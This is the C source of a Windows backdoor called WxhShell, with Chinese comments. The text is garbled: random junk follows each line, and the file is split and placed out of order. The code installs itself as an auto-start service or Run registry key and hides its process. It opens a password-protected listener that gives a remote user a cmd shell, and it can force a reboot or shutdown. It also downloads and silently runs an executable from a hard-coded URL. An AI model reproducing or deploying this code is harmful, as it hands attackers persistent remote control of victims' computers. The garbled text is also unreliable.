    send(wsh,msg_ws_err,strlen(msg_ws_err),0); frmqBCVJ:  
    else { K>R;~ o  
    closesocket(wsh); p~q_0Pg%  
    ExitThread(0); RUk<=! U  
    } `@$"L/AJ  
    break; B}q  
    } ?$J7%I@  
  // 获取shell MeI2i  
  case 's': { &@W4^- 9  
    CmdShell(wsh); 2&gVZz  
    closesocket(wsh); !/4 V^H  
    ExitThread(0); rX!+@>4_L  
    break; #OD@q;  
  } ! [|vx!p  
  // 退出 cCh0?g7nV  
  case 'x': { J[<pZ [  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WE5"A| =  
    CloseIt(wsh); *{.&R9#7U'  
    break; s0)qlm*  
    } p&OJa$N$[  
  // 离开 O,=Q1*c,&  
  case 'q': { 53`9^|:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9uw,-0*5  
    closesocket(wsh); h nsa)@  
    WSACleanup(); V5yxQb  
    exit(1); vfJ3idvo*w  
    break; oDW<e'Jm  
        } I(^jOgYU  
  } d4p{5F7]^  
  } ^A 11h6I  
u+z .J4w  
  // 提示信息 Ufaqhh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1o|0x\q  
} ''(fH$pY  
  } v?YdLR  
e7XsyL'|p  
  return; eg$5z Z  
} Q(=Vk~v  
8K@"B  
// shell模块句柄 xm}q6>jRV  
int CmdShell(SOCKET sock) vbRrk($`  
{ /$FXg;h9$  
STARTUPINFO si; 4-]Do?  
ZeroMemory(&si,sizeof(si)); 5vs`uUzr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BrNG%%n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $Yx6#m}[M  
PROCESS_INFORMATION ProcessInfo; FXOT+9bg  
char cmdline[]="cmd"; io t.E%G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e8d5(e  
  return 0; 9C557$nS^  
} 9n>$}UI\  
#1QX!dK+  
// 自身启动模式 >/TB_ykb  
int StartFromService(void) %aj7-K6:t  
{ =2RhPD  
typedef struct <qbZG}u  
{ M^j<J0(O  
  DWORD ExitStatus; *? K4!q'  
  DWORD PebBaseAddress; /S7+B ]  
  DWORD AffinityMask; ]z-']R;  
  DWORD BasePriority; l zfD)TWb  
  ULONG UniqueProcessId; ' "ZRD_"  
  ULONG InheritedFromUniqueProcessId; )l+XDI  
}   PROCESS_BASIC_INFORMATION; #&^ZQs<  
H$~M`Y9I~  
PROCNTQSIP NtQueryInformationProcess; v87$NQvwQ  
Qq'i*Mh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zW"~YaO%C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S2J#b"Y  
M&uzOK+  
  HANDLE             hProcess; ./"mn3U  
  PROCESS_BASIC_INFORMATION pbi; hl AR[]  
5TXg;v#Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o"'iX UJ  
  if(NULL == hInst ) return 0; `4VO&lRm  
BN+V,W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0s 860Kn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0zeUP {MQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !( kX~S  
9 '2=  
  if (!NtQueryInformationProcess) return 0; tO?21?AD D  
7*zB*"B'1t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qTyg~]e9(  
  if(!hProcess) return 0; KK:N [x  
{iA^rv|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q<-%L1kc 1  
84iJ[Fq{  
  CloseHandle(hProcess); rs[?v*R74  
WwW"fkv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9aTL22U?  
if(hProcess==NULL) return 0; E9^(0\Z I  
0(wf{5  
HMODULE hMod; uVN.=  
char procName[255]; 8ou e-:/a  
unsigned long cbNeeded; t Y{; U#9  
,/~[S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )yHJ[  
@(Z( /P;:  
  CloseHandle(hProcess); M[A-1]'  
Oc7 >S.1  
if(strstr(procName,"services")) return 1; // 以服务启动 [!^cd%l  
ows^W8-w  
  return 0; // 注册表启动 6H0W`S0a  
} gzor%)C  
ppEJs  
// 主模块 S,lxM,DL&  
int StartWxhshell(LPSTR lpCmdLine) doLkrEm&  
{ #-,g&)`]  
  SOCKET wsl; %>i@F=O2<  
BOOL val=TRUE; zCBplb  
  int port=0; >W'j9+Va  
  struct sockaddr_in door; GOGt?iw*<  
>&BrCu[u  
  if(wscfg.ws_autoins) Install(); !~kEtC  
?RDO] I>  
port=atoi(lpCmdLine); ]K7`-p~T  
x7f:F.  
if(port<=0) port=wscfg.ws_port; !;i*\ a  
5!~!j "q  
  WSADATA data; S0F@#mSQ?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fVYiwE=F  
LaDY`u0G%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G=1m] >I8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -)X{n?i  
  door.sin_family = AF_INET; w5,6$#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RYt6=R+f  
  door.sin_port = htons(port); J=):+F=  
5lO^;.cS,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %8 qSv%_  
closesocket(wsl); t')h{2&&!2  
return 1; `Z:3` 7c  
} ;J'OakeVO  
c )03Ms4 D  
  if(listen(wsl,2) == INVALID_SOCKET) { _D-5}a"  
closesocket(wsl); 3g;T?E  
return 1; )`<6taKx@n  
} @YCv  
  Wxhshell(wsl); zHV|-R  
  WSACleanup(); L%f;J/  
57U%`  
return 0; B3Mx,uXT\  
f4 Q( 1(C  
} [g+y_@9s  
PT+c&5AS  
// 以NT服务方式启动 <^Nk.E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R3?:\d{  
{ )i0 $j)R  
DWORD   status = 0; U,HIB^= R  
  DWORD   specificError = 0xfffffff; 9Fk4|+OJ  
%lV@:"G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [7RheXO <  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gGmxx,i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~Zmi(Ra  
  serviceStatus.dwWin32ExitCode     = 0; )=Zsv40O  
  serviceStatus.dwServiceSpecificExitCode = 0; o_O+u%y  
  serviceStatus.dwCheckPoint       = 0; V/+Jc( N  
  serviceStatus.dwWaitHint       = 0; kQ~ %=pn  
z>|)ieL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `dO}L  
  if (hServiceStatusHandle==0) return; iD<6t_8),  
R4SxFp  
status = GetLastError(); 3%2jwR  
  if (status!=NO_ERROR) 8)Zk24:])_  
{ UW/N MjK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =53b Lzr  
    serviceStatus.dwCheckPoint       = 0; ~0ooRUWU7  
    serviceStatus.dwWaitHint       = 0; 5q Rc4d'  
    serviceStatus.dwWin32ExitCode     = status; U@?6*,b(.  
    serviceStatus.dwServiceSpecificExitCode = specificError; yb?{LL-uy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U*qNix  
    return; J\{ $ot  
  } -w~(3(  
\TUE<<?1s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?q!FG(  
  serviceStatus.dwCheckPoint       = 0; Gqt-_gga  
  serviceStatus.dwWaitHint       = 0; f;wc{qy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 72,"Cj  
} x'qWM/  
k2p'G')H  
// 处理NT服务事件,比如:启动、停止 Gs_qO)~xo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ` 8UWE {  
{ 2tf6GX:  
switch(fdwControl) Qn.[{rw  
{ ax_YKJ5#P  
case SERVICE_CONTROL_STOP: ] H&c'  
  serviceStatus.dwWin32ExitCode = 0; !)c=1EX]"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9!}q{2j  
  serviceStatus.dwCheckPoint   = 0; J>%t<xYf4  
  serviceStatus.dwWaitHint     = 0; X V=S )  
  { HE;V zR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iCrxV{   
  } #)] c0]p  
  return; kXwi{P3D$  
case SERVICE_CONTROL_PAUSE: 8Z#21X>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,J(lJ,c  
  break; k)":v3 ^  
case SERVICE_CONTROL_CONTINUE: #hJQbv=B"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?z=\Ye5x  
  break; 2\0Oji\6  
case SERVICE_CONTROL_INTERROGATE: [se^.[0,  
  break; i2PZ'.sL  
}; m<:IFx#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |pW\Ec#(  
} aFY u}kl  
JE!("]&  
// 标准应用程序主函数 Np2ci~"<.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L.B~ax.|Z  
{ >F3.c%VU]w  
vM`~)rO@!  
// 获取操作系统版本 T?npQA07=  
OsIsNt=GetOsVer(); r,xmEj0E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ai;\@$ cq  
|!LnAh  
  // 从命令行安装 6y  Wc1  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^%#grX#  
1R*=.i%W  
  // 下载执行文件 %8FN0  
if(wscfg.ws_downexe) { 8S  U%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E4HU 'y~  
  WinExec(wscfg.ws_filenam,SW_HIDE); o\6iq  
} G7-!`-Nk  
uZ(? >  
if(!OsIsNt) { s@!$='|  
// 如果时win9x,隐藏进程并且设置为注册表启动 WRpyr  
HideProc(); Acu@[ I^  
StartWxhshell(lpCmdLine); 1`-r#-MGG  
} Gv~p  
else C;qMw-*F  
  if(StartFromService()) &erm`Ho  
  // 以服务方式启动 4%_M27bu[  
  StartServiceCtrlDispatcher(DispatchTable); i@zY9,b  
else zY%. Rq-  
  // 普通方式启动 tcL2J.  
  StartWxhshell(lpCmdLine); ebM{OI  
0=![fjm  
return 0; 3&*'6D Tg  
} PW)aLycPK  
P!<[U!<hH  
|y1;&<  
g7V_ [R(6  
=========================================== LE;g 0s  
7NF/]y4w  
u%2KwRQ  
5 9 -!6;T  
.  /m hu  
b{&FuvQg2  
" 3!#/k+,C  
%Fft R1"  
#include <stdio.h> geGeZ5+B  
#include <string.h> oH-8r:{  
#include <windows.h> 9l !S9d  
#include <winsock2.h> C}"@RHEu  
#include <winsvc.h> .j?kEN?w  
#include <urlmon.h> #n7Yr,|Z  
`ROG~0lN(  
#pragma comment (lib, "Ws2_32.lib") O@&+} D>  
#pragma comment (lib, "urlmon.lib") z<n-Gzwk  
tXq)nfGe{  
#define MAX_USER   100 // 最大客户端连接数 FPv" N'/  
#define BUF_SOCK   200 // sock buffer f)6))  
#define KEY_BUFF   255 // 输入 buffer -dRFA2 Y  
M-MKk:o  
#define REBOOT     0   // 重启 ]gP5f@`  
#define SHUTDOWN   1   // 关机 >.DC!QV  
|wp ,f%WK  
#define DEF_PORT   5000 // 监听端口 e!X(yJI[O6  
g9>~HF$U  
#define REG_LEN     16   // 注册表键长度 x';u CKWV  
#define SVC_LEN     80   // NT服务名长度 oXgdLtsu  
IeTdN_8  
// 从dll定义API jw>h k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jk7 0u[\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S/gm.?$V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nhH;?D3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =m tY  
' [p)N,  
// wxhshell配置信息 2wlKBSON  
struct WSCFG { K&_Uk548  
  int ws_port;         // 监听端口 v1+U;Th>g  
  char ws_passstr[REG_LEN]; // 口令 G|4^_`-  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8r:M*25  
  char ws_regname[REG_LEN]; // 注册表键名 r>|-2}{N/  
  char ws_svcname[REG_LEN]; // 服务名 @;)PSp*j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z2 hFn&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qqOFr!)g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5:_hP{ @  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |jG~,{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1oY^]OD]W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HW[L [&/  
*e{PxaF!C  
}; LU2waq}VA  
p3]Q^KFS  
// default Wxhshell configuration ;Icixu'O  
struct WSCFG wscfg={DEF_PORT, 5<R%H{3j  
    "xuhuanlingzhe", 1W,(\'^R  
    1, xeA#u J  
    "Wxhshell", bB 6[Xj{  
    "Wxhshell", C/tr$.2H=  
            "WxhShell Service", WUoOGbA `  
    "Wrsky Windows CmdShell Service", ,sQ93(Vo  
    "Please Input Your Password: ", Lp&k3?W  
  1, :qj<p3w~}  
  "http://www.wrsky.com/wxhshell.exe", q,l)I+  
  "Wxhshell.exe" Uems\I0  
    }; sqO< J$tz  
7"2b H  
// 消息定义模块 ?M}S| dsmE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l-)B ivoi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q*ju sm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9 [Y-M  
char *msg_ws_ext="\n\rExit."; C"eXs#A  
char *msg_ws_end="\n\rQuit."; b{cU<;G)y.  
char *msg_ws_boot="\n\rReboot..."; 0b-?q&*_  
char *msg_ws_poff="\n\rShutdown..."; p]&j;H.  
char *msg_ws_down="\n\rSave to "; wij,N(,H  
GjT#%GBF  
char *msg_ws_err="\n\rErr!"; FN87^.^2S  
char *msg_ws_ok="\n\rOK!"; *@S@x{{s  
^v ni&sJ  
char ExeFile[MAX_PATH]; wEEn?  
int nUser = 0; WFv!Pbq,  
HANDLE handles[MAX_USER]; L^0v\  
int OsIsNt; +t!S'|C  
0kDBE3i#  
SERVICE_STATUS       serviceStatus; R: Z_g !h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1~yZ T  
iEHh{H(  
// 函数声明 f~h~5  
int Install(void); Y`ihi,s`H  
int Uninstall(void); gS9>N/b|  
int DownloadFile(char *sURL, SOCKET wsh); WZewPn>#q  
int Boot(int flag); f`$Gz  
void HideProc(void); ZI13  
int GetOsVer(void); 6NLW(?]  
int Wxhshell(SOCKET wsl); M {a #  
void TalkWithClient(void *cs); Le#spvV3J|  
int CmdShell(SOCKET sock); {6,|IGAq V  
int StartFromService(void); LR&_2e^[  
int StartWxhshell(LPSTR lpCmdLine); m5c&&v6%"b  
pbBoy+.>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {|<"C?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T3,1m=S  
lP _db&  
// 数据结构和表定义 7&%^>PU7  
SERVICE_TABLE_ENTRY DispatchTable[] = :8f[|XR4\N  
{ E3l*8F%<3  
{wscfg.ws_svcname, NTServiceMain}, TkRP3_b  
{NULL, NULL} lxb zHlX  
}; v/QUjXBr  
*I*i>==Z  
// 自我安装 LJTo\^*  
int Install(void) DSyXr~p8  
{ X_TiqV  
  char svExeFile[MAX_PATH]; NC"yDWnO'  
  HKEY key; rpV1y$n<F  
  strcpy(svExeFile,ExeFile); ?u$u?j|N  
L'A)6^d@S  
// 如果是win9x系统,修改注册表设为自启动 Y "jE'  
if(!OsIsNt) { URTzX 2'[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  HEF?mD3h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^ 4>k%d  
  RegCloseKey(key); X9=N%GY[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K 1#ji*Tp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tx>K:`oB  
  RegCloseKey(key); EtJ8^[u2J  
  return 0; FY'dJY3O  
    } 5 t{ja  
  } a:Q[gF8>  
} Z|m`7xeCy  
else { 5Jk<xWKj  
p .K*UP  
// 如果是NT以上系统,安装为系统服务 *VeW?mY,P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9U_ks[Qa  
if (schSCManager!=0) %&blJ6b  
{ I["j=r  
  SC_HANDLE schService = CreateService Qu\@Y[eia5  
  ( dJuD|9R  
  schSCManager, JAb6zpP  
  wscfg.ws_svcname, hf<J \   
  wscfg.ws_svcdisp, QfpuZEUK  
  SERVICE_ALL_ACCESS, Hh[Tw&J4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]!"S+gT*C  
  SERVICE_AUTO_START, =t0tK}Y+4  
  SERVICE_ERROR_NORMAL, 1T|$BK@)  
  svExeFile, 4`v!Z#e/aX  
  NULL, LDj<?'  
  NULL, oOU1{[  
  NULL, Pcd *">v  
  NULL, WrGK\Vw[  
  NULL jA(vTR.`  
  ); gBw^,)Q{0Y  
  if (schService!=0) '?5j[:QY@  
  { b~Y%gC)FR  
  CloseServiceHandle(schService); D56<fg$  
  CloseServiceHandle(schSCManager); DocbxB={I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `#s#it'y  
  strcat(svExeFile,wscfg.ws_svcname); ~W#sTrK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Gwec 4D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @_ygnNn4R  
  RegCloseKey(key); udk.zk  
  return 0; 9q[;u[A8^  
    } W[''Cc.  
  } !7p}C-RZp  
  CloseServiceHandle(schSCManager); 2b@tj 5  
} c/3$AUsuO  
} n.6T OF  
47By`Jh71  
return 1; m]Y;c_DO:  
} Sr Ca3PA  
h)(* q+a  
// 自我卸载 (GK pA}~R  
int Uninstall(void) W#F Q,+0)  
{ ]1`g^Z@ 0  
  HKEY key; K7TzF&  
,T{<vRj7_  
if(!OsIsNt) { F^$led1/F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ter :sge7  
  RegDeleteValue(key,wscfg.ws_regname); zvc`3  
  RegCloseKey(key); zSvgKmNY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G9P!_72  
  RegDeleteValue(key,wscfg.ws_regname); '\#EIG  
  RegCloseKey(key); ?L) !pP]  
  return 0; RkEN ,xWE  
  } /\s}uSW  
} SlLw{Yb7\.  
} R8ONcG  
else { U:6W+p8  
7xo4-fIuT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4674SzL  
if (schSCManager!=0) pE.PX 8  
{ (6p]ZY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C Wo1.pVw  
  if (schService!=0) 0yM[Z':i'{  
  { `fXyWrz-k  
  if(DeleteService(schService)!=0) { j9+I0>#X  
  CloseServiceHandle(schService); qGmNz}4D5  
  CloseServiceHandle(schSCManager); M]v=-  
  return 0; /.Nov  
  } /2M.~3gQ  
  CloseServiceHandle(schService); `IpA.| Y  
  } (m[bWdANnW  
  CloseServiceHandle(schSCManager); <AlZ]~Yct  
} OYC_;CP  
} iTh:N2/-vc  
e(F42;$$  
return 1; Z BUArIC  
} |tzg :T;  
O#EV5FeF.  
// 从指定url下载文件 F(#rQ_z]  
int DownloadFile(char *sURL, SOCKET wsh) q*![AzFh  
{ )QagS.L{z  
  HRESULT hr; 2g9 G{~,@g  
char seps[]= "/"; # {fTgq  
char *token; H=g.34  
char *file; L%}zVCg  
char myURL[MAX_PATH]; ; |/leu8  
char myFILE[MAX_PATH]; "P@>M)-9Z  
XNM a0  
strcpy(myURL,sURL); gkBdR +  
  token=strtok(myURL,seps); CRve.e8J  
  while(token!=NULL) %ows BO+  
  { YKbCdLQ  
    file=token; '\fY<Q:!  
  token=strtok(NULL,seps); p R dk>Ph  
  } tj]9~eJ-  
Cd79 tu|  
GetCurrentDirectory(MAX_PATH,myFILE); ;Yfv!\^|  
strcat(myFILE, "\\"); :4)Qt  
strcat(myFILE, file); qjAWeS/  
  send(wsh,myFILE,strlen(myFILE),0); /N>e&e[35\  
send(wsh,"...",3,0); 1T_QX9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h0oMTiA  
  if(hr==S_OK) ]9=h%5Ji>  
return 0; H`8``#-|@S  
else qa(>wR"mT  
return 1; ,6 !rR,0  
plu$h-$d  
} p47S^gW  
&bz:K8c  
// 系统电源模块 1pv}]&X  
int Boot(int flag) {wF&+kH3  
{ V~ ~=Qp+.  
  HANDLE hToken; M}_ i52  
  TOKEN_PRIVILEGES tkp; jJ4qR:]  
g>d;|sK  
  if(OsIsNt) {  HBys  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ultG36.x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \7MHaQvS   
    tkp.PrivilegeCount = 1; GBFw+v/|4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cWGDee(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S|rgCh!h  
if(flag==REBOOT) { Dlo xrdOY&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DcIvhBp  
  return 0; cr?7O;,  
} to8X=80-3  
else { 8;y&Pb~)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FG3UZVUg9  
  return 0; G1t\Q-|l0  
} mDGn:oRj  
  } @cRZk`|1n  
  else { wi8Yl1p]!z  
if(flag==REBOOT) { /:<IIqO.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _UE)*l m+  
  return 0; z|?R/Gf8  
} hqk}akXt  
else { h=kQ$`j6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iyVB3:M  
  return 0; 7f<EoSK  
} Et"?8\"n7  
} B .TB\j  
?6c-7QV  
return 1; j7FN\ cz  
} ]Ni$.@Hu$  
q(5j(G ;  
// win9x进程隐藏模块 O=)  
void HideProc(void) H$ftGwS8  
{ [ rNXQ` /  
wdzOFDA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k"k J_(  
  if ( hKernel != NULL ) d_S*#/k  
  { %8aC1x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nFX_+4V2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4RKW  
    FreeLibrary(hKernel); PUQES(&  
  } 4GG>!@|  
_<$>*i R  
return; H7+X&#s%  
} + SZYg[  
=O _z(  
// 获取操作系统版本 41#w|L \  
int GetOsVer(void) Md)zEj`\  
{ P+MA*:  
  OSVERSIONINFO winfo; x?x`oirh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %2'A pp  
  GetVersionEx(&winfo); S1n3(U:m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j4FeSGa  
  return 1; Lf:uNl*D  
  else ` b !5^W  
  return 0; 8$|8`;I(  
} " "O"  
kE.x+2  
// 客户端句柄模块 I O%6 O  
int Wxhshell(SOCKET wsl) dAP|:&y@  
{ 2LCB])X  
  SOCKET wsh; M)?dEgU}M  
  struct sockaddr_in client; ~mV"i7VX  
  DWORD myID; g#NZ ,~  
_a_xzv'  
  while(nUser<MAX_USER) bG&"9b_c  
{ }14 {2=!Q  
  int nSize=sizeof(client); %I!:ITa  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  gB\T[RV  
  if(wsh==INVALID_SOCKET) return 1; 2)?(R;$,  
71#I5*8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z'pQ^MO  
if(handles[nUser]==0) )oo~m\`  
  closesocket(wsh); 3qHQX?a  
else h9$ Fx  
  nUser++;  "SN4*  
  } oq-<ob  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s"=6{EVqk3  
?3z-_8#  
  return 0; ;TQf5|R\K  
} qZ@0]"h  
*fO3]+)d+  
// 关闭 socket 8T;IZ(s  
void CloseIt(SOCKET wsh) n<Svw a}  
{ @/ J [t  
closesocket(wsh); `&M{cfp_  
nUser--; 2Zuq?1=  
ExitThread(0); ,O1O8TwUB0  
} m,3er*t{  
<0|9Tn2O  
// 客户端请求句柄 z!=P@b  
void TalkWithClient(void *cs) _ |<d5TI  
{ J )BI:]m  
Y9SGRV(  
  SOCKET wsh=(SOCKET)cs; j$fAq\B  
  char pwd[SVC_LEN]; v/uO&iQw5  
  char cmd[KEY_BUFF]; `T/~.`R  
char chr[1]; LW#M@  
int i,j; SEQ%'E5-'  
aRj>iQaddx  
  while (nUser < MAX_USER) { 50j OA#l[  
0uVv<Q~  
if(wscfg.ws_passstr) { hlvt$Jwq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xog/O i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jsg I'  
  //ZeroMemory(pwd,KEY_BUFF); ;S$Ll*f>D  
      i=0; 5yh/0i5|  
  while(i<SVC_LEN) { \^+ILYO:$  
`|1MlRM9  
  // 设置超时 ocwG7J\W  
  fd_set FdRead; Auy".br'  
  struct timeval TimeOut; '2J0>Bla  
  FD_ZERO(&FdRead); /4=-b_2Y~  
  FD_SET(wsh,&FdRead); C`oa3B,z  
  TimeOut.tv_sec=8; si1*Wt<3Bc  
  TimeOut.tv_usec=0; ;N+$2w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dYFzye  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @$Qof1j'%  
mOll5O7VW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fbrp#G71y  
  pwd=chr[0]; D|I Ec?  
  if(chr[0]==0xd || chr[0]==0xa) { vY6W|<s  
  pwd=0; wbbqt0un  
  break; b yg0.+e0  
  } Eu@5L9A  
  i++; v=Y K8fNi  
    } E ?2O(  
@b&84Gn2 r  
  // 如果是非法用户,关闭 socket ,reJ(s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]7sx;KFv  
} ~%w~-O2  
#~:P}<h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L/}iy}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $*MCU nl  
z,;;=V6j  
while(1) { xc 1A$EY  
hi{%pi&!T  
  ZeroMemory(cmd,KEY_BUFF); _cJ[ FP1  
db=$zIB[:  
      // 自动支持客户端 telnet标准   9pWy"h$H  
  j=0; :LJ7ru2  
  while(j<KEY_BUFF) { U0B2WmT~Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C.a5RF0  
  cmd[j]=chr[0]; Lf}8qB#Y  
  if(chr[0]==0xa || chr[0]==0xd) { /4S;QEv  
  cmd[j]=0; ~9pM%N V  
  break; OTvROJP  
  } f*((;*n ;  
  j++; u/^|XOy  
    } GrEs1M1]*  
U)jUq_LX  
  // 下载文件 %Tcf6cK"  
  if(strstr(cmd,"http://")) { >mu)/kl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SQ(apc}N4  
  if(DownloadFile(cmd,wsh)) </oY4$l'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9G+f/k,P  
  else S0w> hr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Ur?ep  
  } a<Uqyilm  
  else { Ub)I66  
ksI>IW  
    switch(cmd[0]) { -f>'RI95>  
  (i`(>I.(/  
  // 帮助 :X>DkRP  
